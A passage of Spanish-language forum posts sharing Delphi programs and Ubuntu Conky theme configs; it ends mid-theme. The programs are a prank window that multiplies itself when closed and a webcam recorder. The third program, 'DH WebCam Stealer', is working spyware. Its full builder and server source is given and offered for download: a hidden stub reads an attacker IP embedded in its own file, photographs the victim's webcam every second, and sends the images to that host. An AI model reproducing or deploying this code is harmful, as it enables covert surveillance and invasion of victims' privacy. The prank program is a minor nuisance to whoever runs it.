Mensajes

Siempre quize hacer la tipica broma donde te mandan un programa donde aparece la foto de una mina en tetas y cuando queres cerrar la ventana en vez de cerrarse se multiplica.
Si la victima no quiere cerrar la ventana puse un timer cada 1 segundo para que se multiplique de todas formas.

Hice algo asi en delphi , pondria una captura del programa en accion pero me borrarian la imagen xDD.

El codigo.

Código (delphi) [Seleccionar] Expandir


// Joke : Big Tits
// (C) Doddy Hackman 2013

unit big;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, acPNG, ExtCtrls, Math;

type
  TForm1 = class(TForm)
    Image1: TImage;
    Timer1: TTimer;
    procedure Timer1Timer(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure nomepiensoir();
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.nomepiensoir;

// Based on : http://delphi.about.com/od/adptips2006/qt/formclone.htm
// Thanks to Zarko Gajic

var

  parte1: TMemoryStream;
  acatoy: TForm;

const
  dimensiones: array [1 .. 5] of string = ('100', '200', '300', '400', '500');

begin

  parte1 := TMemoryStream.Create;
  parte1.WriteComponent(Form1);

  parte1.Position := 0;

  acatoy := TFormClass(Form1.ClassType).CreateNew(Application);
  parte1.ReadComponent(acatoy);

  acatoy.Left := Form1.Left + StrToInt(dimensiones[RandomRange(1, 5)]);
  acatoy.Top := Form1.Top + StrToInt(dimensiones[RandomRange(1, 5)]);

  acatoy.Show;

end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  nomepiensoir();
  Abort;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
  nomepiensoir();
end;

end.

// The End ?


Si lo quieren bajar lo pueden hacer de aca.

Un simple programa que graba todos los registros de la webcam en un video con formato avi.

Tenia pensado usarlo como camara de vigilancia en el frente de mi casa pero todavia le faltan varios (mas bien muchos) retoques.

Una imagen :



El codigo.

Código (delphi) [Seleccionar] Expandir


// The WatchMan 0.4
// (C) Doddy Hackman 2013
// Credits : Based on
// http://delphimagic.blogspot.com.ar/2008/12/webcam-con-delphi-i.html
// http://delphimagic.blogspot.com.ar/2008/12/webcam-con-delphi-ii.html
// http://delphimagic.blogspot.com.ar/2008/12/webcam-con-delphi-iii.html
// Thanks to Javier Par

unit the;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, sSkinManager, ComCtrls, sStatusBar, sPageControl, StdCtrls,
  sGroupBox, sButton, sRadioButton, sEdit, sListView, ExtCtrls, ShellApi, acPNG,
  sLabel;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    sPageControl1: TsPageControl;
    sStatusBar1: TsStatusBar;
    sTabSheet1: TsTabSheet;
    sTabSheet3: TsTabSheet;
    sGroupBox1: TsGroupBox;
    sTabSheet4: TsTabSheet;
    sGroupBox2: TsGroupBox;
    sButton1: TsButton;
    sButton2: TsButton;
    sGroupBox4: TsGroupBox;
    sRadioButton3: TsRadioButton;
    sEdit1: TsEdit;
    sRadioButton4: TsRadioButton;
    sGroupBox6: TsGroupBox;
    sListView1: TsListView;
    Guardar: TSaveDialog;
    Image1: TImage;
    sGroupBox3: TsGroupBox;
    Image2: TImage;
    sLabel1: TsLabel;
    procedure sButton1Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);

    procedure sListView1DblClick(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  toyaca: hwnd;

const

  control = WM_USER;
  conec = control + 10;
  uno = control + 52;
  dos = control + 50;

  tres = control + 20;
  cuatro = control + 62;
  chau = control + 11;

implementation

uses tiny, full;

FUNCTION capCreateCaptureWindowA(lpszWindowName: PCHAR; dwStyle: longint;
  x: integer; y: integer; nWidth: integer; nHeight: integer; ParentWin: hwnd;
  nId: integer): hwnd;
STDCALL EXTERNAL 'AVICAP32.DLL';
{$R *.dfm}
  procedure TForm1.FormCreate(Sender: TObject);
  var
    dir: string;
    busqueda: TSearchRec;
  begin

    sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName)
      + 'Data';
    sSkinManager1.SkinName := 'matrix';
    sSkinManager1.Active := True;

    dir := ExtractFilePath(Application.ExeName) + '/captures';

    if not(DirectoryExists(dir)) then
    begin
      CreateDir(dir);
    end;

    ChDir(dir);

    FindFirst(dir + '\*.avi', faAnyFile + faReadOnly, busqueda);

    with sListView1.Items.Add do
    begin
      Caption := ExtractFileName(busqueda.Name);
      SubItems.Add(dir + '/' + busqueda.Name);
    end;

    while FindNext(busqueda) = 0 do
    begin

      with sListView1.Items.Add do
      begin
        Caption := ExtractFileName(busqueda.Name);
        SubItems.Add(dir + '/' + busqueda.Name);
      end;

    end;
    FindClose(busqueda);

  end;

  procedure TForm1.sButton1Click(Sender: TObject);
  begin

    sStatusBar1.Panels[0].Text := '[+] Recording';
    Form1.sStatusBar1.Update;

    Form2.Show;

    toyaca := capCreateCaptureWindowA('Unknown_888', WS_CHILD OR WS_VISIBLE,
      Form2.Image1.Left, Form2.Image1.Top, Form2.Image1.Width,
      Form2.Image1.Height, Form2.Handle, 0);

    SendMessage(toyaca, conec, 0, 0);
    SendMessage(toyaca, uno, 40, 0);
    SendMessage(toyaca, dos, 1, 0);

    SendMessage(toyaca, tres, 0, longint(PCHAR('tt')));

    SendMessage(toyaca, cuatro, 0, 0);

  end;

  procedure TForm1.sButton2Click(Sender: TObject);
  var
    fecha: TDateTime;
    fechafinal: string;
    nombrefecha: string;

  BEGIN

    sStatusBar1.Panels[0].Text := '[+] Stopped';
    Form1.sStatusBar1.Update;

    SendMessage(toyaca, chau, 0, 0);

    Form2.Hide;

    if (sRadioButton3.Checked) then
    begin
      RenameFile('t', sEdit1.Text);
    end;

    if (sRadioButton4.Checked) then
    begin
      fecha := now();
      fechafinal := DateTimeToStr(fecha);
      nombrefecha := fechafinal + '.avi';

      nombrefecha := StringReplace(nombrefecha, '/', ':', [rfReplaceAll,
        rfIgnoreCase]);
      nombrefecha := StringReplace(nombrefecha, ' ', '', [rfReplaceAll,
        rfIgnoreCase]);
      nombrefecha := StringReplace(nombrefecha, ':', '_', [rfReplaceAll,
        rfIgnoreCase]);

      RenameFile('t', nombrefecha);

    end;

  end;

  procedure TForm1.sListView1DblClick(Sender: TObject);
  begin

    ShellExecute(0, nil, PCHAR(sListView1.Selected.SubItems[0]), nil, nil,
      SW_SHOWNORMAL);

  end;

end.

// The End ?


Si lo quieren bajar lo pueden hacer de aca.

Un simple programa para capturar fotos cada 1 segundo de la webcam en la maquina de la persona que infecten.

Una imagen :

Código (delphi) [Seleccionar] Expandir


// DH WebCam Stealer 0.2
// (C) Doddy Hackman 2013
// Credits :
// Socket Server & Socket Client based in : http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=783&lngWId=7
// Thanks to Cold Fuzion

unit webcam;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, sSkinManager, ComCtrls, sStatusBar, StdCtrls, sLabel, sRadioButton,
  sButton, sEdit, sGroupBox, sPageControl, acPNG, ExtCtrls, ScktComp, Jpeg;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    Image3: TImage;
    sPageControl1: TsPageControl;
    sTabSheet1: TsTabSheet;
    sGroupBox2: TsGroupBox;
    sGroupBox6: TsGroupBox;
    sEdit1: TsEdit;
    sGroupBox7: TsGroupBox;
    sButton3: TsButton;
    sTabSheet2: TsTabSheet;
    sGroupBox3: TsGroupBox;
    sGroupBox4: TsGroupBox;
    sRadioButton1: TsRadioButton;
    sRadioButton2: TsRadioButton;
    sGroupBox5: TsGroupBox;
    sButton1: TsButton;
    sButton2: TsButton;
    sTabSheet3: TsTabSheet;
    sGroupBox1: TsGroupBox;
    Image1: TImage;
    sTabSheet4: TsTabSheet;
    Image2: TImage;
    sLabel1: TsLabel;
    sStatusBar1: TsStatusBar;
    Timer1: TTimer;
    Timer2: TTimer;
    ServerSocket1: TServerSocket;
    ServerSocket2: TServerSocket;
    procedure sButton1Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);
    procedure sButton3Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure ServerSocket1ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure ServerSocket2ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure Timer1Timer(Sender: TObject);
    procedure Timer2Timer(Sender: TObject);
  private
    { Private declarations }

    conexion: TFileStream;
    control: integer;

  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  cantidad: string;

implementation

uses full;
{$R *.dfm}
// Functions

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;

begin

  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;

  if (opcion = 'encode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;

  if (opcion = 'decode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;

end;

procedure achicar(archivo, medir1, medir2: string);

// Credits  :
// Based on : http://www.delphidabbler.com/tips/99
// Thanks to www.delphidabbler.com

var
  bit3: Double;
  bit2: TJpegImage;
  bit1: TBitmap;

begin

  try
    begin

      bit2 := TJpegImage.Create;

      bit2.Loadfromfile(archivo);

      if bit2.Height > bit2.Width then
      begin
        bit3 := StrToInt(medir1) / bit2.Height
      end
      else
      begin
        bit3 := StrToInt(medir2) / bit2.Width;
      end;

      bit1 := TBitmap.Create;

      bit1.Width := Round(bit2.Width * bit3);
      bit1.Height := Round(bit2.Height * bit3);
      bit1.Canvas.StretchDraw(bit1.Canvas.Cliprect, bit2);

      bit2.Assign(bit1);

      bit2.SaveToFile(archivo);

    end;
  except
    //
  end;

end;
//

procedure TForm1.FormCreate(Sender: TObject);
begin
  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'garnet';
  sSkinManager1.Active := True;
end;

procedure TForm1.sButton1Click(Sender: TObject);

begin
  try
    begin
      ServerSocket1.Open;

      sStatusBar1.Panels[0].Text := '[+] Online';
      Form1.sStatusBar1.Update;
    end;
  except
    begin
      sStatusBar1.Panels[0].Text := '[-] Error';
      Form1.sStatusBar1.Update;
    end;
  end;

end;

procedure TForm1.sButton2Click(Sender: TObject);
begin
  try
    begin
      ServerSocket1.Close;
      sStatusBar1.Panels[0].Text := '[+] OffLine';
      Form1.sStatusBar1.Update;
    end;
  except
    begin
      sStatusBar1.Panels[0].Text := '[-] Error';
      Form1.sStatusBar1.Update;
    end;
  end;
end;

procedure TForm1.sButton3Click(Sender: TObject);
var
  aca: THandle;
  code: Array [0 .. 9999 + 1] of Char;
  nose: DWORD;
  stubgenerado: string;
  lineafinal: string;
  linea: string;
begin

  aca := INVALID_HANDLE_VALUE;
  nose := 0;

  stubgenerado := 'stealer_ready.exe';

  linea := '[ip]' + sEdit1.Text + '[ip]';
  lineafinal := '[63686175]' + dhencode(linea, 'encode') + '[63686175]';

  DeleteFile(stubgenerado);
  CopyFile(PChar(ExtractFilePath(Application.ExeName)
        + '/' + 'Data/servernow.exe'), PChar
      (ExtractFilePath(Application.ExeName) + '/' + stubgenerado), True);

  StrCopy(code, PChar(lineafinal));
  aca := CreateFile(PChar('stealer_ready.exe'), GENERIC_WRITE, FILE_SHARE_READ,
    nil, OPEN_EXISTING, 0, 0);
  if (aca <> INVALID_HANDLE_VALUE) then
  begin
    SetFilePointer(aca, 0, nil, FILE_END);
    WriteFile(aca, code, 9999, nose, nil);
    CloseHandle(aca);
  end;

  sStatusBar1.Panels[0].Text := '[+] Done';
  Form1.sStatusBar1.Update;

end;

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
var
  contenido: string;

begin

  contenido := Socket.ReceiveText;

  if (Pos('0x3archivo', contenido) > 0) then
  begin
    conexion := TFileStream.Create(Copy(contenido, 11, length(contenido)),
      fmCREATE or fmOPENWRITE and fmsharedenywrite);

    ServerSocket2.Open;

  end
  else
  begin
    if (Pos('0x3acantid', contenido) > 0) then
    begin
      cantidad := Copy(contenido, 11, length(contenido));
    end;
  end;
end;

procedure TForm1.ServerSocket2ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
var
  data: array [0 .. 9999] of Char;
  otracantidad: integer;

begin

  Timer1.Enabled := True;

  while Socket.ReceiveLength > 0 do

  begin

    otracantidad := Socket.ReceiveBuf(data, Sizeof(data));

    if otracantidad <= 0 then
    begin
      Break;
    end
    else
    begin
      conexion.Write(data, otracantidad);
    end;

    if conexion.Size >= StrToInt(cantidad) then

    begin

      conexion.Free;

      Timer1.Enabled := False;

      control := 0;

      Break;

    end;
  end;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
  control := 1;
end;

procedure TForm1.Timer2Timer(Sender: TObject);
begin

  try
    begin
      if ServerSocket1.Active = True then
      begin
        if FileExists('screen.jpg') then
        begin

          if (sRadioButton1.Checked) then
          begin
            achicar('screen.jpg', '400', '400');
            Image1.Picture.Loadfromfile('screen.jpg');
          end
          else
          begin
            Form2.Show;
            achicar('screen.jpg', '1000', '1000');
            Form2.Image1.Picture.Loadfromfile('screen.jpg');
          end;
        end;
      end;
    end;
  except
    //
  end;
end;

end.

// The End ?


El servidor.

Código (delphi) [Seleccionar] Expandir


// DH WebCam Stealer 0.2
// (C) Doddy Hackman 2013
// Credits :
// Socket Server & Socket Client based in : http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=783&lngWId=7
// Thanks to Cold Fuzion

unit server;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls, ScktComp, Jpeg;

type
  TForm1 = class(TForm)
    ClientSocket1: TClientSocket;
    ClientSocket2: TClientSocket;
    Timer1: TTimer;
    Image1: TImage;
    procedure Timer1Timer(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure capturar_webcam(filename: string);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  target: string;
  webcam: hwnd;

const

  control = WM_USER;
  conec = control + 10;
  conec2 = control + 52;
  conec3 = control + 50;
  conec4 = control + 25;
  chau = control + 11;

implementation

FUNCTION capCreateCaptureWindowA(uno: PCHAR; dos: longint; tres: integer;
  cuatro: integer; cinco: integer; seis: integer; siete: hwnd; ocho: integer)
  : hwnd;
STDCALL EXTERNAL 'AVICAP32.DLL';
{$R *.dfm}
// Functions

  procedure TForm1.capturar_webcam(filename: string);

  // Webcam capture based on : http://delphimagic.blogspot.com.ar/2008/12/webcam-con-delphi-iii.html
  // Thanks to Javier Par

  var
    imagen1: TBitmap;
    imagen2: TJpegImage;

  begin

    try
      begin

        DeleteFile('1.bmp');
        DeleteFile('1');
        DeleteFile(filename);

        webcam := capCreateCaptureWindowA
          ('Unknown_888', WS_CHILD OR WS_VISIBLE, Image1.Left, Image1.Top,
          Image1.Width, Image1.Height, Form1.Handle, 0);

        if not(webcam = 0) then
        begin

          SendMessage(webcam, conec, 0, 0);
          SendMessage(webcam, conec2, 40, 0);
          SendMessage(webcam, conec3, 1, 0);
          SendMessage(webcam, conec4, 0, longint(PCHAR('1.bmp')));
          SendMessage(webcam, chau, 0, 0);
          webcam := 0;

          RenameFile('1', '1.bmp');

          imagen1 := TBitmap.Create;
          imagen1.LoadFromFile('1.bmp');

          imagen2 := TJpegImage.Create;
          imagen2.Assign(imagen1);
          imagen2.CompressionQuality := 100;
          imagen2.SaveToFile(filename);

          DeleteFile('1');
          DeleteFile('1.bmp');

        end;

        imagen1.Free;
        imagen2.Free;

      end;
    except
      //
    end;

  end;

  function regex(text: String; deaca: String; hastaaca: String): String;
  begin
    Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
    SetLength(text, AnsiPos(hastaaca, text) - 1);
    Result := text;
  end;

  function dhencode(texto, opcion: string): string;
  // Thanks to Taqyon
  // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
  var
    num: integer;
    aca: string;
    cantidad: integer;

  begin

    num := 0;
    Result := '';
    aca := '';
    cantidad := 0;

    if (opcion = 'encode') then
    begin
      cantidad := Length(texto);
      for num := 1 to cantidad do
      begin
        aca := IntToHex(ord(texto[num]), 2);
        Result := Result + aca;
      end;
    end;

    if (opcion = 'decode') then
    begin
      cantidad := Length(texto);
      for num := 1 to cantidad div 2 do
      begin
        aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
        Result := Result + aca;
      end;
    end;

  end;

  procedure TForm1.FormCreate(Sender: TObject);

  var
    ob: THandle;
    code: Array [0 .. 9999 + 1] of Char;
    nose: DWORD;
    todo: string;

  begin

    Application.ShowMainForm := False;

    ob := INVALID_HANDLE_VALUE;
    code := '';

    ob := CreateFile(PCHAR(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
      OPEN_EXISTING, 0, 0);
    if (ob <> INVALID_HANDLE_VALUE) then
    begin
      SetFilePointer(ob, -9999, nil, FILE_END);
      ReadFile(ob, code, 9999, nose, nil);
      CloseHandle(ob);
    end;

    todo := regex(code, '[63686175]', '[63686175]');
    todo := dhencode(todo, 'decode');

    target := regex(todo, '[ip]', '[ip]');

    try
      begin
        ClientSocket1.Address := target;
        ClientSocket1.Open;
      end;
    except
      //
    end;

  end;

  procedure TForm1.Timer1Timer(Sender: TObject);
  var
    archivo: string;
    envio: TFileStream;
    dir: string;

  begin

    try
      begin

        if ClientSocket1.Active = True then

        begin
          dir := GetEnvironmentVariable('USERPROFILE') + '\';

          chdir(dir);

          if (FileExists('screen.jpg')) then
          begin
            DeleteFile('screen.jpg');
          end;

          capturar_webcam('screen.jpg');

          archivo := dir + 'screen.jpg';

          try
            begin
              ClientSocket1.Socket.SendText
                ('0x3archivo' + ExtractFileName(archivo));
              envio := TFileStream.Create(archivo, fmopenread);

              sleep(500);

              ClientSocket1.Socket.SendText
                ('0x3acantid' + IntToStr(envio.Size));

              envio.Free;

              ClientSocket2.Address := target;
              ClientSocket2.Open;

              ClientSocket2.Socket.SendStream
                (TFileStream.Create(archivo, fmopenread));
            end;
          except
            //
          end;
        end;
      end;
    except
      //
    end;

  end;

end.

// The End ?


Si lo quieren bajar lo pueden hacer de aca.

Hace poco que me mude a Ubuntu y me baje el conky colors , el problema es que ninguno de todos los themes que busque en internet me gustaban asi que basado en un codigo que encontre en la pagina ubuntu-es hice estos tres themes para conky colors.

Theme Matrix.

Código [Seleccionar] Expandir


# Matrix Theme for Conky Colors
# Based on http://www.ubuntu-es.org/node/103184
# Edited by Doddy H

background yes
font estiloletra:size=7
xftfont estiloletra:size=7
use_xft yes
xftalpha 0.1
update_interval 1.0
own_window yes
own_window_type override
own_window_transparent yes
double_buffer yes
alignment top_right
minimum_size 220 5
maximum_width 220
gap_x 25
gap_y 40

TEXT

${color 00FF00}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == DateTime == --$color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}[+] Date : ${time %a, }${time %e %B %G}$color $font
${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}[+] Time : ${time %H:%M:%S}$color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == System == --${font estiloletra:size=7}$color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}[+] Kernel : $kernel $color $font
${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}[+] Uptime : $uptime $color $font
${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}[+] Process : $processes ($running_processes running) $color $font
${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}[+] Avarage Load : $loadavg $color $font
${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}[+] Chip Intel : ${freq}MHz / ${acpitemp}C ${alignr}(${cpu cpu0}%) $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${cpubar 4 cpu1} $color $font
${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${cpugraph} $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}[+] RAM : $mem / $memmax ($memperc%) $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${membar 4} $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}[+] SWAP : $swap / $swapmax ($swapperc%) $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${swapbar 4} $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == CPU Usage == --${font estiloletra:size=7}$color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${top name 1}$alignr${top cpu 1}${top mem 1} $color $font
${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${top name 2}$alignr${top cpu 2}${top mem 2} $color $font
${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${top name 3}$alignr${top cpu 3}${top mem 3} $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == MEM Usage == --${font estiloletra:size=7}$color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${top_mem name 1}$alignr${top_mem cpu 1}${top_mem mem 1} $color $font
${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${top_mem name 2}$alignr${top_mem cpu 2}${top_mem mem 2} $color $font
${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${top_mem name 3}$alignr${top_mem cpu 3}${top_mem mem 3} $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == Free Space == --${font estiloletra:size=7}$color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}Home: ${alignr}${fs_free /home} / ${fs_size /home} $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${fs_bar 4 /} $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == Network == --${font estiloletra:size=7}$color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}Download ${downspeed eth0} k/s ${alignr}Upload ${upspeed eth0} k/s $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${downspeedgraph eth0 25,107 }${upspeedgraph eth0 25,107}$color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}Total ${totaldown eth0} ${alignr}Total ${totalup eth0} $color $font


${color 00FF00}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == The End ? == --${font estiloletra:size=7}$color $font

# The End ?


Theme Tron.

Código [Seleccionar] Expandir


# Tron Theme for Conky Colors
# Based on http://www.ubuntu-es.org/node/103184
# Edited by Doddy H

background yes
font estiloletra:size=7
xftfont estiloletra:size=7
use_xft yes
xftalpha 0.1
update_interval 1.0
own_window yes
own_window_type override
own_window_transparent yes
double_buffer yes
alignment top_right
minimum_size 220 5
maximum_width 220
gap_x 25
gap_y 40

TEXT

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == DateTime == --$color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}[+] Date : ${time %a, }${time %e %B %G}$color $font
${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}[+] Time : ${time %H:%M:%S}$color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == System == --${font estiloletra:size=7}$color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}[+] Kernel : $kernel $color $font
${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}[+] Uptime : $uptime $color $font
${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}[+] Process : $processes ($running_processes running) $color $font
${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}[+] Avarage Load : $loadavg $color $font
${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}[+] Chip Intel : ${freq}MHz / ${acpitemp}C ${alignr}(${cpu cpu0}%) $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${cpubar 4 cpu1} $color $font
${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${cpugraph} $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}[+] RAM : $mem / $memmax ($memperc%) $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${membar 4} $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}[+] SWAP : $swap / $swapmax ($swapperc%) $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${swapbar 4} $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == CPU Usage == --${font estiloletra:size=7}$color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${top name 1}$alignr${top cpu 1}${top mem 1} $color $font
${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${top name 2}$alignr${top cpu 2}${top mem 2} $color $font
${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${top name 3}$alignr${top cpu 3}${top mem 3} $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == MEM Usage == --${font estiloletra:size=7}$color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${top_mem name 1}$alignr${top_mem cpu 1}${top_mem mem 1} $color $font
${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${top_mem name 2}$alignr${top_mem cpu 2}${top_mem mem 2} $color $font
${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${top_mem name 3}$alignr${top_mem cpu 3}${top_mem mem 3} $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == Free Space == --${font estiloletra:size=7}$color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}Home: ${alignr}${fs_free /home} / ${fs_size /home} $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${fs_bar 4 /} $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == Network == --${font estiloletra:size=7}$color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}Download ${downspeed eth0} k/s ${alignr}Upload ${upspeed eth0} k/s $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${downspeedgraph eth0 25,107 }${upspeedgraph eth0 25,107}$color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}Total ${totaldown eth0} ${alignr}Total ${totalup eth0} $color $font


${color 00FFFF}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == The End ? == --${font estiloletra:size=7}$color $font

# The End ?


Theme DarkCity.

Código [Seleccionar] Expandir


# DarkCity Theme for Conky Colors
# Based on http://www.ubuntu-es.org/node/103184
# Edited by Doddy H

background yes
font estiloletra:size=7
xftfont estiloletra:size=7
use_xft yes
xftalpha 0.1
update_interval 1.0
own_window yes
own_window_type override
own_window_transparent yes
double_buffer yes
alignment top_right
minimum_size 220 5
maximum_width 220
gap_x 25
gap_y 40

TEXT

${color 3A1D10}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == DateTime == --$color $font

${color 984B00}${font estiloletra:style=Bold:pixelsize=10}[+] Date : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} ${time %a, }${time %e %B %G} $color $font
${color 984B00}${font estiloletra:style=Bold:pixelsize=10}[+] Time : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} ${time %H:%M:%S}$color $font

${color 3A1D10}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == System == --${font estiloletra:size=7}$color $font

${color 984B00}${font estiloletra:style=Bold:pixelsize=10}[+] Kernel : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} $kernel $color $font
${color 984B00}${font estiloletra:style=Bold:pixelsize=10}[+] Uptime : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} $uptime $color $font
${color 984B00}${font estiloletra:style=Bold:pixelsize=10}[+] Process : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} $processes ($running_processes running) $color $font
${color 984B00}${font estiloletra:style=Bold:pixelsize=10}[+] Avarage Load : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} $loadavg $color $font
${color 984B00}${font estiloletra:style=Bold:pixelsize=10}[+] Chip Intel : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} ${freq}MHz / ${acpitemp}C ${alignr}(${cpu cpu0}%) $color $font

${color DAA520}${font estiloletra:style=Bold:pixelsize=10}${cpubar 4 cpu1} $color $font
${color DAA520}${font estiloletra:style=Bold:pixelsize=10}${cpugraph} $color $font

${color 984B00}${font estiloletra:style=Bold:pixelsize=10}[+] RAM : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} $mem / $memmax ($memperc%) $color $font

${color DAA520}${font estiloletra:style=Bold:pixelsize=10}${membar 4} $color $font

${color 984B00}${font estiloletra:style=Bold:pixelsize=10}[+] SWAP : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} $swap / $swapmax ($swapperc%) $color $font

${color DAA520}${font estiloletra:style=Bold:pixelsize=10}${swapbar 4} $color $font

${color 3A1D10}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == CPU Usage == --${font estiloletra:size=7}$color $font

${color FF0000}${font estiloletra:style=Bold:pixelsize=10}${top name 1}$alignr${top cpu 1}${top mem 1} $color $font
${color 949494}${font estiloletra:style=Bold:pixelsize=10}${top name 2}$alignr${top cpu 2}${top mem 2} $color $font
